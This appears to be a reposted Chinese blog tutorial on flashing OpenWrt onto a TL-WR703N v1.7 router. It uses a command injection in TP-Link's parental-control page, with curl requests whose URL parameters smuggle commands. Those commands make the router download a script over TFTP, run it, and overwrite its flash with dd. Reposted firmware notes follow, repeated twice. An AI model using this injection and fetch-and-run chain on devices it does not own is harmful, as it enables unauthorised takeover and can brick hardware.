TL-WR703Nv1.7刷写openwrt固件

2017年度全网原创IT博主评选活动投票:http://www.itbang.me/goVote/254

TP-LINK TL-WR703N是一个小型的路由器,可以有线转WiFi,3G转WiFi,很多人拿它刷openwrt系统,然后可以在上面各种搞事。

V1.7以前

通常刷openwrt的做法是,

  • 下载一个openwrt factory固件
  • 打开路由器,
  • 笔记本连接路由器发出来的WiFi,比如:TP-LINK-90-1B-18
  • 在浏览器输入192.168.1.1,选择左边“系统工具”-“软件升级”-“浏览”
  • 找到刚刚下载的镜像bin文件,确定
  • 然后就会自动把openwrt刷到板子里边了

V1.7以后

然而!上面的方法只有在2012年12月以前生产的WR703N上(型号在FW build 121204以前的)才有用,在之后的板子上,选择完bin文件会提示“上传的文件与硬件版本不符”,导致无法从web管理界面刷写系统!具体来讲,如果你的型号(这个在路由器管理界面可以看到)跟我的一样是3.17.1 Build 140120 Rel.56593n,那么恭喜你中奖了,只能通过下面这种方式或者TTL硬件方式刷openwrt。

原因是,2012年12月之后的系统升级,对bin文件做了RSA签名校验,无法刷第三方的系统。

一番搜索之后发现有个国外的牛人利用TP-LINK家长控制的漏洞,让路由板执行一些代码,成功刷写openwrt系统,这个方法的英文版也被放到了openwrt wr703n的官方wiki上,可以说是相当靠谱了,国内有人也整理了一个中文版,但有些步骤还是不够详细,于是我整理了一个完整的版出来,让大家少踩一些坑。windows的同学可以参考这个中文版,不过里边有些链接失效了,可以参考我这篇去找对应的工具。

搭建tftp服务器

因为我们会先把镜像下载并处理好放在一个ftp服务器上,所以需要另一台电脑扮演这个角色

  • 以MacOS为例,MacOS是内置了tftp服务器的,不需要另外安装,
  • 默认的ftp服务器会把将/private/tftpboot这个目录作为根目录
  • 修改这个目录的权限
sudo chmod 777 /private/tftpboot
sudo chmod 777 /private/tftpboot/*
  • 启动tftp服务
sudo launchctl load -F /System/Library/LaunchDaemons/tftp.plist
sudo launchctl start com.apple.tftpd
  • 测试,在另一台电脑上,以Ubuntu为例,安装tftp客户端
cwh@cwh-Matrimax-PC:sudo apt-get install tftp
cwh@cwh-Matrimax-PC:~$ tftp
(to) 192.168.2.210
tftp> get aa

把Ubuntu和mac放在一个局域网里,mac的ip是192.168.2.210,在mac的/private/tftpboot目录下有一个名为aa的文件,执行get aa之后,会发现Ubuntu的home目录下多了一个aa文件,也就是文件传送成功了。

准备工具

  • *Nix系统下curl,dd,都是自带的,不用下载,
  • 下载busybox,这个是用来在wr703n上执行dd和reboot命令用的,默认的命令行执行不了
curl https://busybox.net/downloads/binaries/1.21.1/busybox-mips > busybox

链接有可能失效,可以谷歌搜索busybox binary download,下载mips版本的

  • 下载openwrt固件并拆分成两份(因为wr703n的内存很小,可能传输的时候传不了整个文件)
curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576
  • 将busybox, 拆开的固件i1, i2放到tftp服务器目录/private/tfboot

编写Hack脚本

  • 进入tftp服务器目录
  • 新建文件aa(很随意的一个名字),里边内容为:
cd /tmp
tftp -gl i1 192.168.1.100
tftp -gl i2 192.168.1.100
tftp -gl busybox 192.168.1.100
chmod 755 busybox
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync
reboot -f

解释一下每行代码

cd /tmp
tftp -gl i1 192.168.1.100 # 把i1从tftp服务器下载下来,这里的ip应该是,你的tftp服务器连接路由器之后,ifconfig看到的ip
tftp -gl i2 192.168.1.100 # 把i2从tftp服务器下载下来
tftp -gl busybox 192.168.1.100 # 把busybox从tftp服务器下载下来
chmod 755 busybox  # 修改busybox权限以执行命令
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync # 将i1写入磁盘分区
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync # 将i2写入磁盘分区
reboot -f # 重启,会启动openwrt

至此,你的tftp目录下应该有4个文件:i1, i2, aa, busybox,缺一不可

Hack into TL-WR703N

这个方法是利用TPLINK家长控制漏洞,以curl的方式执行命令,让路由器从tftp服务器上下载脚本,执行命令,从而将openwrt固件写入路由器

【警告】以下步骤可能导致你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开连接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。一旦变砖,请用3.3V的串口线抢救

  • 首先长按reboot按钮将路由器恢复出厂设置
  • 将tftp服务器(这里是Mac)通过WiFi的方式连接到路由器,ifconfig记住自己的ip,我的是192.168.1.100
  • 在tftp服务器上(连接到路由器的另外一台机器也行)执行

  • 修改密码为admin42

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/'

注意这里的192.168.1.1是路由器的ip地址, 这个步骤只会更改路由器家长控制的默认密码,刷完openwrt之后会恢复为openwrt的默认密码的

  • 启用家长控制(利用漏洞)
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
  • 让路由器从tftp服务器下载并执行脚本
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'

等待大约三分钟,路由器会重启进入openwrt系统,状态灯会闪烁一会儿

进入openwrt系统

后边可以参考这位大兄弟写的教程,挺详细的了

喜欢请star,转载请注明作者梦里茶

转载于:https://www.cnblogs.com/hellocwh/p/8028483.html

20120905版4M固件: 1. 720N固件,基于703N修改。TP-Link原厂固件factory,已经是OpenWrt了就sysupgrade。 且固件后可直OpenWrt 703NOpenWrt 720N、TP-Link 703N、TP-Link 720N固件,不用改固件头。 2. 4M固件,当然8M的flash也可以。 3. 支持MentoHUST(锐捷认证)、3G、NAS(仅支持ext4,不支持ntfs)、共享手机网络、MWAN2负载均衡、打印服务器、 远程唤醒、8187 3070、瑞银网卡,剩余200多K空间,具体见截图。 因试过4M空间集成脱机、NAS等有难度,故不再出4M的脱机固件,请用extroot扩展后自行安装。 4. MentoHUST没有条件测试,如不能自动获取IP,请把Web界面的DHCP script的值由“udhcpc -i”改成“udhcpc -renew”试试。 5. 关于extroot(既用U盘引导系统),没想到现在这么简单了。 简单说下:先把U盘在电脑里格式化成ext3或ext4。插上U盘,命令行运行blkid得到U盘的UUID值,复制到管理界面的相应UUID, 挂载选项“rw,sync”删掉后面的umask=000。然后勾上extroot和启用,文件系统选对应的ext3或ext4,保存应用OK。 重启下,看看剩余空间大了没,呵呵。 (umask=000只是为了让samba可写而加的参数。挂载USB存储设备时,如果不用samba请删之。) 6. 按住reset键30秒后led闪烁,60秒之前松开reset键则恢复出厂设置。 7. LAN/WAN两个网口正常。 8. 默认开启WiFi,无密码。 9. 支持模式切换开关,定义如下: AP: 开启共享手机网络、开启无线 3G: 关闭共享手机网络、开启无线 Router:关闭共享手机网络、关闭无线 10.解释下共享手机网络,OpenWrt官方称为USB Tethering,指openwrt路由器通过USB连接智能手机, 而智能手机的网络共享给openwrt使用。 目前固件只支持Android系统共享网络功能,而支持iPhone需要集成的软件太多,空间有限,如果出8M固件 再考虑吧。 Android本来就支持WiFi热点,可能有点画蛇添足吧,呵呵。我是偶然发现openwrt还支持这个功能, 所以就研究了下,也许在某些情况下这个功能还是有用的吧。 使用方法: a. 路由器模式开关切换至AP位置。 b. 用USB线连接路由器与手机。 c. 手机USB连接管理里面,选择 除了“内存卡读取”的其他模式,比如:选择“仅充电”; 然后在“设置”--“系统”里面找到“共享手机网络”,开启“USB绑定”就好了。 回到openwrt界面,会发现有个usb0的接口,已经自动获取了IP,这样openwrt就能使用手机 的网络了。 11.关于MWAN2负载均衡,效率还不错,还支持基于session的负载均衡,使用方法见/etc/config/mwan2里面的注释。 mwan2的作者新出了mwan3,有兴趣可以去看看:https://forum.openwrt.org/viewtopic.php?id=39052 12.703n固件,但是完后lan口不能用。需先用无线连接,然后编辑/etc/config/network , 删除其中wan口配置,把lan的eth0改成eth1后,lan就可以用了。 如703n原厂固件web界面请factory,且需要先把固件标识改成07030101才能。 13.再说下打印服务器,没有测试,不知道这个版本能不能用,但20120803版有人试过可用,有需求请自行下载。trunk就是不稳定啊, 没办法~~ 14.机有风险,变砖本人概不负责。 吐糟一下,如3G有掉线问题,请看日志中是否出现“No response to 5 echo-requests”。 而解决这个问题,除了降低无线功率或者干脆关闭无线外,我是没找到其他更好的办法(可能和3G网卡有关)。 曾经尝试过换电源增强供电、用带外接电源的usb-hub,包括尝试TP-LINK原厂固件也一样掉线。还有修改/etc/ppp/options里 的lcp-echo-interval,把值改大点后是不掉线了,但是3G其实已经断流了,没什么意义。我用MU350网卡试过FW300R、FWR171-3G 还有720N这几个路由都是这样。不知道是TP-Link设计问题,还是td-scdma这种垃圾芯片功率过高的问题,或者Atheros芯片 的设计缺陷? 百撕不得骑姐啊!
原贴 http://www.right.com.cn/forum/thread-91571-1-1.html 20120905版4M固件: 1. 720N固件,基于703N修改。TP-Link原厂固件factory,已经是OpenWrt了就sysupgrade。 且固件后可直OpenWrt 703NOpenWrt 720N、TP-Link 703N、TP-Link 720N固件,不用改固件头。 2. 4M固件,当然8M的flash也可以。 3. 支持MentoHUST(锐捷认证)、3G、NAS(仅支持ext4,不支持ntfs)、共享手机网络、MWAN2负载均衡、打印服务器、 远程唤醒、8187 3070、瑞银网卡,剩余200多K空间,具体见截图。 因试过4M空间集成脱机、NAS等有难度,故不再出4M的脱机固件,请用extroot扩展后自行安装。 4. MentoHUST没有条件测试,如不能自动获取IP,请把Web界面的DHCP script的值由“udhcpc -i”改成“udhcpc -renew”试试。 5. 关于extroot(既用U盘引导系统),没想到现在这么简单了。 简单说下:先把U盘在电脑里格式化成ext3或ext4。插上U盘,命令行运行blkid得到U盘的UUID值,复制到管理界面的相应UUID, 挂载选项“rw,sync”删掉后面的umask=000。然后勾上extroot和启用,文件系统选对应的ext3或ext4,保存应用OK。 重启下,看看剩余空间大了没,呵呵。 (umask=000只是为了让samba可写而加的参数。挂载USB存储设备时,如果不用samba请删之。) 6. 按住reset键30秒后led闪烁,60秒之前松开reset键则恢复出厂设置。 7. LAN/WAN两个网口正常。 8. 默认开启WiFi,无密码。 9. 支持模式切换开关,定义如下: AP: 开启共享手机网络、开启无线 3G: 关闭共享手机网络、开启无线 Router:关闭共享手机网络、关闭无线 10.解释下共享手机网络,OpenWrt官方称为USB Tethering,指openwrt路由器通过USB连接智能手机, 而智能手机的网络共享给openwrt使用。 目前固件只支持Android系统共享网络功能,而支持iPhone需要集成的软件太多,空间有限,如果出8M固件 再考虑吧。 Android本来就支持WiFi热点,可能有点画蛇添足吧,呵呵。我是偶然发现openwrt还支持这个功能, 所以就研究了下,也许在某些情况下这个功能还是有用的吧。 使用方法: a. 路由器模式开关切换至AP位置。 b. 用USB线连接路由器与手机。 c. 手机USB连接管理里面,选择 除了“内存卡读取”的其他模式,比如:选择“仅充电”; 然后在“设置”--“系统”里面找到“共享手机网络”,开启“USB绑定”就好了。 回到openwrt界面,会发现有个usb0的接口,已经自动获取了IP,这样openwrt就能使用手机 的网络了。 11.关于MWAN2负载均衡,效率还不错,还支持基于session的负载均衡,使用方法见/etc/config/mwan2里面的注释。 mwan2的作者新出了mwan3,有兴趣可以去看看:https://forum.openwrt.org/viewtopic.php?id=39052 12.703n固件,但是完后lan口不能用。需先用无线连接,然后编辑/etc/config/network , 删除其中wan口配置,把lan的eth0改成eth1后,lan就可以用了。 如703n原厂固件web界面请factory,且需要先把固件标识改成07030101才能。 13.再说下打印服务器,没有测试,不知道这个版本能不能用,但20120803版有人试过可用,有需求请自行下载。 trunk就是不稳定啊,没办法~~
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值